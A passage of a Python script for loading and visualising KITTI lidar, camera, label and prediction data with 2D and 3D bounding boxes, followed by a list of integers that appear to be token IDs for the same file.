self.label_dir = args.label_dir if args.label_dir else os.path.join(self.split_dir, label_dir_name)
self.lidar_dir = args.lidar_dir if args.lidar_dir else os.path.join(self.split_dir, lidar_dir_name)
self.calib_dir = args.calib_dir if args.calib_dir else os.path.join(self.split_dir, calib_dir_name)
self.depth_dir = args.depth_dir if args.depth_dir else os.path.join(self.split_dir, depth_dir_name)
self.pred_dir = args.pred_dir if args.pred_dir else os.path.join(self.split_dir, pred_dir_name)
if args.tracking:
# load seq ids and count total num. of sample
self.seq_ids = args.seq_ids if args.seq_ids else os.listdir(self.image_dir)
self.seq_ids = sorted(["{:04d}".format(int(seq_id)) for seq_id in self.seq_ids], key=lambda x: int(x))
print("Num. of {} sequences: {}".format(self.split, len(self.seq_ids)))
self.sample_ids = dict()
self.num_samples = dict()
self._trk_label_all_seqs = dict()
self._trk_pred_all_seqs = dict()
for seq_id in self.seq_ids:
seq_img_paths = os.path.join(self.image_dir, seq_id)
self.sample_ids[seq_id] = sorted([int(sample.split(".")[0]) for sample in os.listdir(seq_img_paths)])
self.num_samples[seq_id] = len(self.sample_ids[seq_id])
if args.split == "training":
seq_labels_path = os.path.join(self.label_dir, seq_id + ".txt")
trk_label_all_frames = defaultdict(list)
for line in open(seq_labels_path, 'r'):
line = line.strip()
tokens = line.split(" ")
tokens[3:] = [float(x) for x in tokens[3:]]
frame_id = int(tokens[0])
track_id = tokens[1]
data = tokens[3:] + ["-1"] + [track_id] # -1 because labels do not have confidence
trk_label_all_frames[frame_id].append(Object3d(data=data))
self._trk_label_all_seqs[seq_id] = trk_label_all_frames
if args.show_preds:
seq_preds_path = os.path.join(self.pred_dir, seq_id + ".txt")
trk_preds_all_frames = defaultdict(list)
for line in open(seq_preds_path, 'r'):
line = line.strip()
tokens = line.split(" ")
tokens[3:] = [float(x) for x in tokens[3:]]
frame_id = int(tokens[0])
track_id = tokens[1]
data = tokens[2:] + [track_id]
trk_preds_all_frames[frame_id].append(Object3d(data=data))
self._trk_pred_all_seqs[seq_id] = trk_preds_all_frames
else:
self.sample_ids = sorted([int(sample.split(".")[0]) for sample in os.listdir(self.image_dir)])
self.num_samples = len(self.sample_ids)
if args.inds_file_path:
with open(args.inds_file_path, 'r') as inds_file:
self.sample_ids = [int(line) for line in inds_file.readlines()]
elif args.ind is not None:
self.sample_ids = [int(args.ind)]
print("Total num. of {} samples: {}".format(self.split, len(self)))
def __len__(self):
if isinstance(self.num_samples, dict):
total_num_samples = 0
for _, num_sample in self.num_samples.items():
total_num_samples += num_sample
return total_num_samples
else:
return self.num_samples
def __iter__(self):
if isinstance(self.sample_ids, dict):
for seq_id, sample_ids in self.sample_ids.items():
for sample_id in sample_ids:
yield sample_id, seq_id
else:
for sample_id in self.sample_ids:
yield sample_id
def check_idx(self, idx, seq_idx=None):
if isinstance(self.num_samples, dict) and seq_idx is not None:
num_samples = self.num_samples[seq_idx]
else:
num_samples = self.num_samples
assert idx < num_samples
def get_image(self, idx, seq_idx=None):
self.check_idx(idx, seq_idx)
if seq_idx:
img_path = os.path.join(self.image_dir, "{:04d}".format(int(seq_idx)), "{:06d}.png".format(int(idx)))
else:
img_path = os.path.join(self.image_dir, "{:06d}.png".format(int(idx)))
return utils.load_image(img_path)
def get_lidar(self, idx, seq_idx=None, dtype=np.float32, n_vec=4):
self.check_idx(idx, seq_idx)
if seq_idx:
lidar_path = os.path.join(self.lidar_dir, "{:04d}".format(int(seq_idx)), "{:06d}.bin".format(int(idx)))
else:
lidar_path = os.path.join(self.lidar_dir, "{:06d}.png".format(int(idx)))
return utils.load_velo_scan(lidar_path, dtype, n_vec)
def get_calibration(self, idx, seq_idx=None):
self.check_idx(idx, seq_idx)
if seq_idx:
calib_path = os.path.join(self.calib_dir, "{:04d}.txt".format(int(seq_idx)))
else:
calib_path = os.path.join(self.calib_dir, "{:06d}.txt".format(int(idx)))
return utils.Calibration(calib_path)
def get_label_objects(self, idx, seq_idx=None):
self.check_idx(idx, seq_idx)
if seq_idx:
return self._trk_label_all_seqs[seq_idx][idx]
else:
label_path = os.path.join(self.label_dir, "{:06d}.txt".format(int(idx)))
return utils.read_label(label_path)
def get_pred_objets(self, idx, seq_idx=None):
self.check_idx(idx, seq_idx)
if seq_idx:
return self._trk_pred_all_seqs[seq_idx][idx]
else:
label_path = os.path.join(self.label_dir, "{:06d}.txt".format(int(idx)))
return utils.read_label(label_path)
def get_depth(self, idx):
assert idx < self.num_samples
img_filename = os.path.join(self.depth_dir, "%06d.png" % idx)
return utils.load_depth(img_filename)
class Visualizer(object):
def __init__(self, args):
self.dataset = KITTIDataset(args)
self.args = args
self.fig = None
self.video_writer = None
self.output_path = None
self.camera_output = None
self.lidar_output = None
if args.demo:
mlab.options.offscreen = True
if not os.path.exists("demo"):
os.mkdir('demo')
if 'lidar' in args.demo and 'camera' in args.demo:
assert 'lidar' in args.save and 'camera' in args.save
self.video_writer = cv2.VideoWriter('demo/lidar_camera.avi',
cv2.VideoWriter_fourcc('M', 'J', 'P', 'G'),
20, (1248, 384 * 2))
elif 'lidar' in args.demo:
assert 'lidar' in args.save
self.video_writer = cv2.VideoWriter(f'demo/{args.demo[0]}.avi',
cv2.VideoWriter_fourcc('M', 'J', 'P', 'G'),
20, (1248, 384))
else:
self.video_writer = cv2.VideoWriter(f'demo/{args.demo[0]}.avi',
cv2.VideoWriter_fourcc('M', 'J', 'P', 'G'),
20, (1248, 384))
if args.save:
mlab.options.offscreen = True
self.output_path = Path('output')
self.output_path.mkdir(exist_ok=True)
if 'camera' in args.save:
self.camera_output = self.output_path / 'image_02'
self.camera_output.mkdir(exist_ok=True)
if 'lidar' in args.save:
self.lidar_output = self.output_path / 'velodyne'
self.lidar_output.mkdir(exist_ok=True)
if args.show_lidar_with_depth:
self.fig = mlab.figure(figure=None, bgcolor=(0, 0, 0), fgcolor=None,
engine=None, size=(int(2 * 634), int(2 * 477)))
def run(self):
# TODO(farzad) multithreading has a problem with mayavi.
if args.workers > 0:
import concurrent.futures as futures
with futures.ThreadPoolExecutor(args.workers) as executor:
executor.map(vis.run_pipeline, self.dataset)
else:
for data_index in tqdm.tqdm(self.dataset):
if isinstance(data_index, tuple):
self.run_pipeline(*data_index)
else:
self.run_pipeline(data_index)
def show_image_with_boxes(self, img, objects, calib, preds=None, show3d=True, score_threshold=0.60):
""" Show image with 2D bounding boxes """
img = np.copy(img)
for obj in objects:
if obj.type == "DontCare":
continue
if show3d:
# for predictions
if hasattr(obj, 'id'):
color = tuple([int(c * 255) for c in colors[int(obj.id) % max_color]])
else:
color = (0, 255, 0)
box3d_pts_2d, _ = utils.compute_box_3d(obj, calib.P)
if box3d_pts_2d is None:
continue
img = utils.draw_projected_box3d(img, box3d_pts_2d, color=color)
else:
# for predictions
if hasattr(obj, 'id'):
color = None
label = str(obj.type)[:3] + ' %d' % obj.id
else:
color = 'green'
label = None
pos = int(obj.xmin), int(obj.ymin), int(obj.xmax), int(obj.ymax)
bb.add(img, *pos, color=color, label=label)
if preds is not None:
for pred in preds:
if pred.type == "DontCare":
continue
if hasattr(pred, 'score') and pred.score < score_threshold:
continue
if show3d:
# for predictions
if hasattr(pred, 'id'):
color = tuple([int(c * 255) for c in colors[int(pred.id) % max_color]])
else:
color = (0, 255, 0)
box3d_pts_2d, _ = utils.compute_box_3d(pred, calib.P)
if box3d_pts_2d is None:
continue
img = utils.draw_projected_box3d(img, box3d_pts_2d, color=color)
else:
# for predictions
if hasattr(pred, 'id'):
color = None
label = str(pred.type)[:3] + ' %d' % pred.id
else:
color = 'blue'
label = None
pos = int(pred.xmin), int(pred.ymin), int(pred.xmax), int(pred.ymax)
bb.add(img, *pos, color=color, label=label)
return img
def show_image_with_boxes_3type(self, img, objects, objects2d, name, objects_pred):
""" Show image with 2D bounding boxes """
img1 = np.copy(img) # for 2d bbox
type_list = ["Pedestrian", "Car", "Cyclist"]
# draw Label
color = (0, 255, 0)
for obj in objects:
if obj.type not in type_list:
continue
cv2.rectangle(
img1,
(int(obj.xmin), int(obj.ymin)),
(int(obj.xmax), int(obj.ymax)),
color,
3,
)
startx = 5
font = cv2.FONT_HERSHEY_SIMPLEX
text_lables = [obj.type for obj in objects if obj.type in type_list]
text_lables.insert(0, "Label:")
for n in range(len(text_lables)):
text_pos = (startx, 25 * (n + 1))
cv2.putText(img1, text_lables[n], text_pos, font, 0.5, color, 0, cv2.LINE_AA)
# draw 2D Pred
color = (0, 0, 255)
for obj in objects2d:
cv2.rectangle(
img1,
(int(obj.box2d[0]), int(obj.box2d[1])),
(int(obj.box2d[2]), int(obj.box2d[3])),
color,
2,
)
startx = 85
font = cv2.FONT_HERSHEY_SIMPLEX
text_lables = [type_list[obj.typeid - 1] for obj in objects2d]
text_lables.insert(0, "2D Pred:")
for n in range(len(text_lables)):
text_pos = (startx, 25 * (n + 1))
cv2.putText(img1, text_lables[n], text_pos, font, 0.5, color, 0, cv2.LINE_AA)
# draw 3D Pred
if objects_pred is not None:
color = (255, 0, 0)
for obj in objects_pred:
if obj.type not in type_list:
continue
cv2.rectangle(
img1,
(int(obj.xmin), int(obj.ymin)),
(int(obj.xmax), int(obj.ymax)),
color,
1,
)
startx = 165
font = cv2.FONT_HERSHEY_SIMPLEX
text_lables = [obj.type for obj in objects_pred if obj.type in type_list]
text_lables.insert(0, "3D Pred:")
for n in range(len(text_lables)):
text_pos = (startx, 25 * (n + 1))
cv2.putText(
img1, text_lables[n], text_pos, font, 0.5, color, 0, cv2.LINE_AA
)
cv2.imshow("with_bbox", img1)
cv2.imwrite("imgs/" + str(name) + ".png", img1)
def show_lidar_with_depth(self, pc_velo, objects, calib, img_fov=False, img_width=None, img_height=None,
objects_pred=None, depth=None, constraint_box=False, pc_label=False, save=False,
score_threshold=0.6):
""" Show all LiDAR points.
Draw 3d box in LiDAR point cloud (in velo coord system) """
print(("All point num: ", pc_velo.shape[0]))
if img_fov:
pc_velo_index = utils.get_lidar_index_in_image_fov(
pc_velo[:, :3], calib, 0, 0, img_width, img_height
)
pc_velo = pc_velo[pc_velo_index, :]
print(("FOV point num: ", pc_velo.shape))
print("pc_velo", pc_velo.shape)
draw_lidar(pc_velo, fig=self.fig, pc_label=pc_label)
# Draw depth
if depth is not None:
depth_pc_velo = calib.project_depth_to_velo(depth, constraint_box)
indensity = np.ones((depth_pc_velo.shape[0], 1)) * 0.5
depth_pc_velo = np.hstack((depth_pc_velo, indensity))
print("depth_pc_velo:", depth_pc_velo.shape)
print("depth_pc_velo:", type(depth_pc_velo))
print(depth_pc_velo[:5])
draw_lidar(depth_pc_velo, fig=self.fig)
if save:
data_idx = 0
vely_dir = "data/object/training/depth_pc"
save_filename = os.path.join(vely_dir, "%06d.bin" % data_idx)
print(save_filename)
# np.save(save_filename+".npy", np.array(depth_pc_velo))
depth_pc_velo = depth_pc_velo.astype(np.float32)
depth_pc_velo.tofile(save_filename)
color = (0, 1, 0)
for i, obj in enumerate(objects):
if obj.type == "DontCare":
continue
# Draw 3d bounding box
_, box3d_pts_3d = utils.compute_box_3d(obj, calib.P)
box3d_pts_3d_velo = calib.project_rect_to_velo(box3d_pts_3d)
logging.debug("box3d_pts_3d_velo - Obj. {}".format(i + 1))
logging.debug(box3d_pts_3d_velo)
draw_gt_boxes3d([box3d_pts_3d_velo], fig=self.fig, color=color,
label=str(obj.type) + '- Obj. ' + str(i + 1))
if objects_pred is not None:
for i, obj in enumerate(objects_pred):
if obj.type == "DontCare":
continue
if obj.score < score_threshold:
continue
# Draw 3d bounding box
_, box3d_pts_3d = utils.compute_box_3d(obj, calib.P)
# color = tuple(colors[int(obj.id) % max_color])
box3d_pts_3d_velo = calib.project_rect_to_velo(box3d_pts_3d)
logging.debug("box3d_pts_3d_velo (Pred {}):".format(str(i + 1)))
# label = str(obj.type)[:3] + ' %d' % obj.id + ': {:.1f}'.format(obj.score)
label = str(obj.type)[:3] + ': {:.1f}'.format(obj.score)
# draw_gt_boxes3d([box3d_pts_3d_velo], fig=self.fig, color=color, label=label)
draw_gt_boxes3d([box3d_pts_3d_velo], fig=self.fig, label=label)
# Draw heading arrow
_, ori3d_pts_3d = utils.compute_orientation_3d(obj, calib.P)
ori3d_pts_3d_velo = calib.project_rect_to_velo(ori3d_pts_3d)
x1, y1, z1 = ori3d_pts_3d_velo[0, :]
x2, y2, z2 = ori3d_pts_3d_velo[1, :]
mlab.plot3d(
[x1, x2],
[y1, y2],
[z1, z2],
# color=color,
tube_radius=None,
line_width=1,
figure=self.fig,
)
# mlab.view(
# azimuth=180,
# elevation=60,
# focalpoint=[18, 0, 0],
# distance=50.0,
# figure=self.fig,
# )
module_manager = self.fig.children[0].children[0]
module_manager.scalar_lut_manager.number_of_colors = 256
module_manager.scalar_lut_manager.lut_mode = 'jet'
module_manager.scalar_lut_manager.reverse_lut = True
glyph = self.fig.children[0].children[0].children[0]
glyph.actor.property.point_size = 3.0
scene = self.fig.scene
scene.camera.position = [-29.529421169679004, -0.029930304051940047, 15.629631264400999]
scene.camera.focal_point = [18.40446156066637, -0.9930973214186383, 1.4375491165923626]
scene.camera.view_angle = 30.0
scene.camera.view_up = [0.2838516930872115, -0.002267900426086406, 0.9588655134893428]
scene.camera.clipping_range = [0.47010602542195784, 470.10602542195784]
def show_lidar_with_boxes(self, pc_velo, objects, calib, img_fov=False, img_width=None, img_height=None,
objects_pred=None, depth=None):
""" Show all LiDAR points.
Draw 3d box in LiDAR point cloud (in velo coord system) """
print(("All point num: ", pc_velo.shape[0]))
if img_fov:
pc_velo = utils.get_lidar_in_image_fov(
pc_velo[:, 0:3], calib, 0, 0, img_width, img_height
)
print(("FOV point num: ", pc_velo.shape[0]))
print("pc_velo", pc_velo.shape)
draw_lidar(pc_velo, fig=self.fig)
# pc_velo=pc_velo[:,0:3]
color = (0, 1, 0)
for obj in objects:
if obj.type == "DontCare":
continue
# Draw 3d bounding box
_, box3d_pts_3d = utils.compute_box_3d(obj, calib.P)
box3d_pts_3d_velo = calib.project_rect_to_velo(box3d_pts_3d)
print("box3d_pts_3d_velo:")
print(box3d_pts_3d_velo)
draw_gt_boxes3d([box3d_pts_3d_velo], fig=self.fig, color=color)
# Draw depth
if depth is not None:
# import pdb; pdb.set_trace()
depth_pt3d = utils.depth_region_pt3d(depth, obj)
depth_UVDepth = np.zeros_like(depth_pt3d)
depth_UVDepth[:, 0] = depth_pt3d[:, 1]
depth_UVDepth[:, 1] = depth_pt3d[:, 0]
depth_UVDepth[:, 2] = depth_pt3d[:, 2]
print("depth_pt3d:", depth_UVDepth)
dep_pc_velo = calib.project_image_to_velo(depth_UVDepth)
print("dep_pc_velo:", dep_pc_velo)
draw_lidar(dep_pc_velo, fig=self.fig)
# Draw heading arrow
_, ori3d_pts_3d = utils.compute_orientation_3d(obj, calib.P)
ori3d_pts_3d_velo = calib.project_rect_to_velo(ori3d_pts_3d)
x1, y1, z1 = ori3d_pts_3d_velo[0, :]
x2, y2, z2 = ori3d_pts_3d_velo[1, :]
mlab.plot3d(
[x1, x2],
[y1, y2],
[z1, z2],
color=color,
tube_radius=None,
line_width=1,
figure=self.fig,
)
if objects_pred is not None:
color = (1, 0, 0)
for obj in objects_pred:
if obj.type == "DontCare":
continue
# Draw 3d bounding box
_, box3d_pts_3d = utils.compute_box_3d(obj, calib.P)
box3d_pts_3d_velo = calib.project_rect_to_velo(box3d_pts_3d)
print("box3d_pts_3d_velo:")
print(box3d_pts_3d_velo)
draw_gt_boxes3d([box3d_pts_3d_velo], fig=self.fig, color=color)
# Draw heading arrow
_, ori3d_pts_3d = utils.compute_orientation_3d(obj, calib.P)
ori3d_pts_3d_velo = calib.project_rect_to_velo(ori3d_pts_3d)
x1, y1, z1 = ori3d_pts_3d_velo[0, :]
x2, y2, z2 = ori3d_pts_3d_velo[1, :]
mlab.plot3d(
[x1, x2],
[y1, y2],
[z1, z2],
color=color,
tube_radius=None,
line_width=1,
figure=self.fig,
)
mlab.show(1)
def stat_lidar_with_boxes(self, pc_velo, objects, calib):
""" Show all LiDAR points.
Draw 3d box in LiDAR point cloud (in velo coord system) """
# print(('All point num: ', pc_velo.shape[0]))
# draw_lidar(pc_velo, fig=self.fig)
# color=(0,1,0)
for obj in objects:
if obj.type == "DontCare":
continue
_, box3d_pts_3d = utils.compute_box_3d(obj, calib.P)
box3d_pts_3d_velo = calib.project_rect_to_velo(box3d_pts_3d)
v_l, v_w, v_h, _ = utils.get_velo_whl(box3d_pts_3d_velo, pc_velo)
print("%.4f %.4f %.4f %s" % (v_w, v_h, v_l, obj.type))
def show_lidar_on_image(self, pc_velo, img, calib, img_width, img_height):
""" Project LiDAR points to image """
img = np.copy(img)
imgfov_pc_velo, pts_2d, fov_inds = utils.get_lidar_in_image_fov(
pc_velo, calib, 0, 0, img_width, img_height, True
)
imgfov_pts_2d = pts_2d[fov_inds, :]
imgfov_pc_rect = calib.project_velo_to_rect(imgfov_pc_velo)
import matplotlib.pyplot as plt
cmap = plt.cm.get_cmap("hsv", 256)
cmap = np.array([cmap(i) for i in range(256)])[:, :3] * 255
for i in range(imgfov_pts_2d.shape[0]):
depth = imgfov_pc_rect[i, 2]
color = cmap[int(640.0 / depth), :]
cv2.circle(
img,
(int(np.round(imgfov_pts_2d[i, 0])), int(np.round(imgfov_pts_2d[i, 1]))),
2,
color=tuple(color),
thickness=-1,
)
return img
def show_lidar_topview_with_boxes(self, pc_velo, objects, calib, objects_pred=None):
""" top_view image"""
# print('pc_velo shape: ',pc_velo.shape)
top_view = utils.lidar_to_top(pc_velo)
top_image = utils.draw_top_image(top_view)
print("top_image:", top_image.shape)
# gt
def bbox3d(obj):
_, box3d_pts_3d = utils.compute_box_3d(obj, calib.P)
box3d_pts_3d_velo = calib.project_rect_to_velo(box3d_pts_3d)
return box3d_pts_3d_velo
boxes3d = [bbox3d(obj) for obj in objects if obj.type != "DontCare"]
gt = np.array(boxes3d)
# print("box2d BV:",boxes3d)
lines = [obj.type for obj in objects if obj.type != "DontCare"]
top_image = utils.draw_box3d_on_top(
top_image, gt, text_lables=lines, scores=None, thickness=1, is_gt=True
)
if objects_pred is not None:
boxes3d = [bbox3d(obj) for obj in objects_pred if obj.type != "DontCare"]
gt = np.array(boxes3d)
lines = [obj.type for obj in objects_pred if obj.type != "DontCare"]
top_image = utils.draw_box3d_on_top(
top_image, gt, text_lables=lines, scores=None, thickness=1, is_gt=False
)
cv2.imshow("top_image", top_image)
return top_image
def run_pipeline(self, data_idx, seq_idx=None):
# Load data from dataset
objects_gt = []
if args.split == "training":
objects_gt = self.dataset.get_label_objects(data_idx, seq_idx)
logging.debug("======== Objects in Ground Truth ========")
n_obj = 0
for obj in objects_gt:
if obj.type != "DontCare":
logging.debug("=== {} object ===".format(n_obj + 1))
obj.print_object()
n_obj += 1
objects_pred = None
if args.show_preds:
objects_pred = self.dataset.get_pred_objets(data_idx, seq_idx)
if len(objects_pred) > 0:
logging.debug("======== Predicted Objects ========")
n_obj = 0
for obj in objects_pred:
if obj.type != "DontCare":
logging.debug("=== {} predicted object ===".format(n_obj + 1))
obj.print_object()
n_obj += 1
n_vec = 4
if args.pc_label:
n_vec = 5
dtype = np.float32
if args.dtype64:
dtype = np.float64
pc_velo = self.dataset.get_lidar(data_idx, seq_idx, dtype, n_vec)[:, 0:n_vec]
calib = self.dataset.get_calibration(data_idx, seq_idx)
try:
img = self.dataset.get_image(data_idx, seq_idx)
img_height, img_width, _ = img.shape
except:
logging.warning(f'Cannot load image with index {data_idx}')
return
logging.debug(data_idx, "image shape: ", img.shape)
logging.debug(data_idx, "velo shape: ", pc_velo.shape)
if args.depth:
depth, _ = self.dataset.get_depth(data_idx)
print(data_idx, "depth shape: ", depth.shape)
else:
depth = None
if args.stat:
self.stat_lidar_with_boxes(pc_velo, objects_gt, calib)
return
# Draw 3d box in LiDAR point cloud
if args.show_lidar_topview_with_boxes:
# Draw lidar top view
self.show_lidar_topview_with_boxes(pc_velo, objects_gt, calib, objects_pred)
if args.show_image_with_boxes:
logging.debug(data_idx, "image shape: ", img.shape)
logging.debug(data_idx, "velo shape: ", pc_velo.shape)
# Draw 2d and 3d boxes on image
img = self.show_image_with_boxes(img, objects_gt, calib, preds=objects_pred, show3d=False)
if args.show_lidar_with_depth:
# Draw 3d box in LiDAR point cloud
self.show_lidar_with_depth(
pc_velo,
objects_gt,
calib,
args.img_fov,
img_width,
img_height,
objects_pred,
depth,
constraint_box=args.const_box,
save=args.save_depth,
pc_label=args.pc_label,
)
if args.show_lidar_on_image:
# Show LiDAR points on image.
img = self.show_lidar_on_image(pc_velo[:, 0:3], img, calib, img_width, img_height)
if args.save:
seq_id_str = "{:04d}".format(int(seq_idx)) if seq_idx is not None else ""
file_name = "{:06d}.png".format(int(data_idx))
if 'lidar' in args.save:
fig_path = os.path.join(str(self.lidar_output), seq_id_str, file_name)
mlab.savefig(filename=fig_path, figure=self.fig)
if 'camera' in args.save:
fig_path = os.path.join(str(self.camera_output), seq_id_str, file_name)
cv2.imwrite(filename=fig_path, img=img)
# TODO(farzad) do more cleanup here!
if hasattr(self, "fig"):
mlab.clf(self.fig)
# TODO(farzad) Followings should be adapted for parallelism
# Creating demo video. Currently no multithreading!
assert args.workers == 0
if args.demo:
if 'camera' in args.demo and 'lidar' not in args.demo:
self.video_writer.write(img)
if args.show_lidar_with_depth:
mlab.show(stop=True)
mlab.clf(figure=self.fig)
elif args.show_image_with_boxes:
cv2.imshow('Camera image with bounding boxes', img)
cv2.waitKey()
elif args.show_lidar_on_image:
cv2.imshow("Lidar PCs on camera image", img)
cv2.waitKey()
if args.demo:
if 'lidar' in args.demo and 'camera' in args.demo:
lidar_img_paths = list(self.lidar_output.glob("lidar*"))
lidar_img_paths.sort(key=lambda path: int(str(path.stem).split("_")[-1]))
for lidar_img_path in tqdm.tqdm(lidar_img_paths):
img_id = str(lidar_img_path.stem).split("_")[-1]
camera_img_path = self.camera_output / f'camera_{img_id}.png'
lidar_img = cv2.imread(str(lidar_img_path.absolute()))
cam_img = cv2.imread(str(camera_img_path.absolute()))
img_concat = cv2.vconcat([cam_img, lidar_img])
self.video_writer.write(img_concat)
elif 'lidar' in args.demo:
lidar_img_paths = list(self.lidar_output.glob("lidar*"))
lidar_img_paths.sort(key=lambda path: int(str(path.stem).split("_")[-1]))
for lidar_img_path in tqdm.tqdm(lidar_img_paths):
lidar_img = cv2.imread(str(lidar_img_path.absolute()))
self.video_writer.write(lidar_img)
self.video_writer.release()
def depth_to_lidar_format(root_dir, args):
dataset = KITTIDataset(args)
for data_idx in range(len(dataset)):
# Load data from dataset
pc_velo = dataset.get_lidar(data_idx)[:, 0:4]
calib = dataset.get_calibration(data_idx)
depth, _ = dataset.get_depth(data_idx)
img = dataset.get_image(data_idx)
img_height, img_width, _ = img.shape
print(data_idx, "image shape: ", img.shape)
print(data_idx, "velo shape: ", pc_velo.shape)
print(data_idx, "depth shape: ", depth.shape)
# depth = cv2.cvtColor(depth, cv2.COLOR_BGR2RGB)
# depth_height, depth_width, depth_channel = img.shape
# print(('Image shape: ', img.shape))
utils.save_depth(
data_idx,
pc_velo,
calib,
args.img_fov,
img_width,
img_height,
depth,
constraint_box=args.const_box,
)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="KIITI Object Visualization")
parser.add_argument(
"-d",
"--dir",
type=str,
default="data/object",
metavar="N",
help="input (default: data/object)",
)
parser.add_argument(
"-i",
"--ind",
type=int,
default=None,
metavar="N",
help="only use the sample index. (default: None (all))",
)
parser.add_argument(
"-p", "--show_preds", action="store_true", help="show predictions"
)
parser.add_argument(
"-s",
"--stat",
action="store_true",
help=" stat the w/h/l of point cloud in gt bbox",
)
parser.add_argument(
"--split",
type=str,
default="training",
help="use training split or testing split (default: training)",
)
parser.add_argument(
"-l",
"--lidar_dir",
type=str,
default=None,
metavar="N",
help="velodyne dir (default: velodyne)",
)
parser.add_argument(
"--image_dir",
type=str,
default=None,
metavar="N",
help="image dir (default: image_2)",
)
parser.add_argument(
"--label_dir",
type=str,
default=None,
metavar="N",
help="label dir (default: label_2)",
)
parser.add_argument(
"--calib_dir",
type=str,
default=None,
metavar="N",
help="calibration dir (default: calib)",
)
parser.add_argument(
"-e",
"--depth_dir",
type=str,
default=None,
metavar="N",
help="depth dir (default: depth)",
)
parser.add_argument(
"--pred_dir",
type=str,
default=None,
metavar="N",
help="detection or tracking predictions dir (default: pred)",
)
parser.add_argument("--gen_depth", action="store_true", help="generate depth")
parser.add_argument("--vis", action="store_true", help="show images")
parser.add_argument("--depth", action="store_true", help="load depth")
parser.add_argument("--img_fov", action="store_true", help="front view mapping")
parser.add_argument("--const_box", action="store_true", help="constraint box")
parser.add_argument(
"--save_depth", action="store_true", help="save depth into file"
)
parser.add_argument(
"--pc_label", action="store_true", help="5-verctor lidar, pc with label"
)
parser.add_argument(
"--dtype64", action="store_true", help="for float64 datatype, default float64"
)
parser.add_argument(
"--show_lidar_on_image", action="store_true", help="project lidar on image"
)
parser.add_argument(
"--show_lidar_with_depth",
action="store_true",
help="--show_lidar, depth is supported",
)
parser.add_argument(
"--show_image_with_boxes", action="store_true", help="show lidar"
)
parser.add_argument(
"--show_lidar_topview_with_boxes",
action="store_true",
help="show lidar topview",
)
parser.add_argument(
"--inds_file_path",
type=str,
default=None,
help="only use sample indices stored in inds_file",
)
parser.add_argument(
"--save",
type=str,
default=None,
nargs='+',
help="Specify which sensor(s) to be saved. Options are \"camera\" and \"lidar\"."
)
parser.add_argument(
"--demo",
type=str,
default=None,
nargs='+',
help="Specify which sensor(s) to be demonstrated. Options are \"camera\" and \"lidar\"."
)
parser.add_argument(
"--tracking", action="store_true", help="If True load tracking predictions/labels."
)
parser.add_argument(
"--seq_ids",
type=int,
default=None,
nargs='+',
help="only use the sequence ids. (default: None (all))"
)
parser.add_argument(
"-w",
"--workers",
type=int,
default=0,
help="Num. of workers for visualization. 0 means no multithreading. Demo mode only works w/o multithreading!"
)
args = parser.parse_args()
if args.show_preds:
assert os.path.exists(args.pred_dir)
if args.vis:
vis = Visualizer(args)
vis.run()
if args.gen_depth:
depth_to_lidar_format(args.dir, args)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
15945,
29908,
6162,
546,
770,
322,
3168,
363,
8363,
476,
1806,
24301,
3618,
13,
13,
13720,
29901,
529,
5813,
29958,
13,
2539,
29901,
3839,
29871,
29906,
29900,
29896,
29955,
13,
15945,
29908,
13,
3166,
4770,
29888,
9130,
1649,
1053,
1596,
29918,
2220,
13,
13,
5215,
2897,
13,
5215,
10876,
13,
5215,
12655,
408,
7442,
13,
5215,
13850,
29906,
29889,
11023,
29906,
408,
13850,
29906,
13,
5215,
413,
986,
29875,
29918,
4422,
408,
3667,
29879,
13,
3166,
413,
986,
29875,
29918,
4422,
1053,
4669,
29941,
29881,
13,
5215,
1852,
5510,
13,
5215,
260,
29939,
18933,
13,
3166,
2224,
1982,
1053,
10802,
13,
3166,
3216,
292,
29918,
1884,
1053,
3216,
292,
29918,
1884,
408,
289,
29890,
13,
5215,
12183,
13,
5215,
1122,
17345,
29889,
828,
370,
408,
286,
8205,
13,
3166,
25294,
29918,
4422,
1053,
4216,
29918,
29880,
333,
279,
29892,
4216,
29918,
4141,
29918,
1884,
267,
29941,
29881,
13,
3166,
16250,
1053,
2322,
8977,
13,
13,
25416,
29918,
9464,
353,
2897,
29889,
2084,
29889,
25721,
29898,
359,
29889,
2084,
29889,
370,
1028,
493,
22168,
1445,
1649,
876,
13,
21289,
29918,
9464,
353,
2897,
29889,
2084,
29889,
25721,
29898,
25416,
29918,
9464,
29897,
13,
9675,
29889,
2084,
29889,
4397,
29898,
359,
29889,
2084,
29889,
7122,
29898,
21289,
29918,
9464,
29892,
376,
13029,
17345,
5783,
13,
13,
3317,
29918,
2780,
353,
29871,
29941,
29900,
13,
29883,
1884,
353,
7442,
29889,
2378,
4197,
29961,
29900,
29892,
29871,
29955,
29900,
29889,
29946,
1402,
21069,
29946,
29900,
29892,
29871,
29946,
29900,
1402,
21069,
29941,
29892,
29871,
29896,
24960,
13,
27703,
353,
3667,
29879,
29889,
8172,
29918,
27703,
29898,
3317,
29918,
2780,
29897,
13,
13,
13,
1990,
476,
1806,
29911,
1367,
271,
24541,
29898,
3318,
1125,
13,
1678,
9995,
5896,
322,
6088,
1203,
848,
964,
263,
502,
519,
3402,
1213,
15945,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
6389,
1125,
13,
4706,
9995,
4632,
29918,
3972,
3743,
6694,
322,
6724,
16495,
15945,
29908,
13,
4706,
1583,
29889,
4632,
29918,
3972,
353,
6389,
29889,
3972,
13,
4706,
1583,
29889,
5451,
353,
6389,
29889,
5451,
13,
4706,
1583,
29889,
5451,
29918,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
4632,
29918,
3972,
29892,
1583,
29889,
5451,
29897,
13,
4706,
1583,
29889,
5085,
353,
6389,
13,
13,
4706,
17343,
279,
29918,
3972,
29918,
978,
353,
376,
955,
1486,
484,
29908,
13,
4706,
1967,
29918,
3972,
29918,
978,
353,
376,
3027,
29918,
29900,
29906,
29908,
565,
6389,
29889,
11294,
292,
1683,
376,
3027,
29918,
29906,
29908,
13,
4706,
3858,
29918,
3972,
29918,
978,
353,
376,
1643,
29918,
29900,
29906,
29908,
565,
6389,
29889,
11294,
292,
1683,
376,
1643,
29918,
29906,
29908,
13,
4706,
1208,
747,
29918,
3972,
29918,
978,
353,
376,
1052,
747,
29908,
13,
4706,
4450,
29918,
3972,
29918,
978,
353,
376,
11965,
29908,
13,
4706,
10809,
29918,
3972,
29918,
978,
353,
376,
19488,
29908,
13,
13,
4706,
1583,
29889,
3027,
29918,
3972,
353,
6389,
29889,
3027,
29918,
3972,
565,
6389,
29889,
3027,
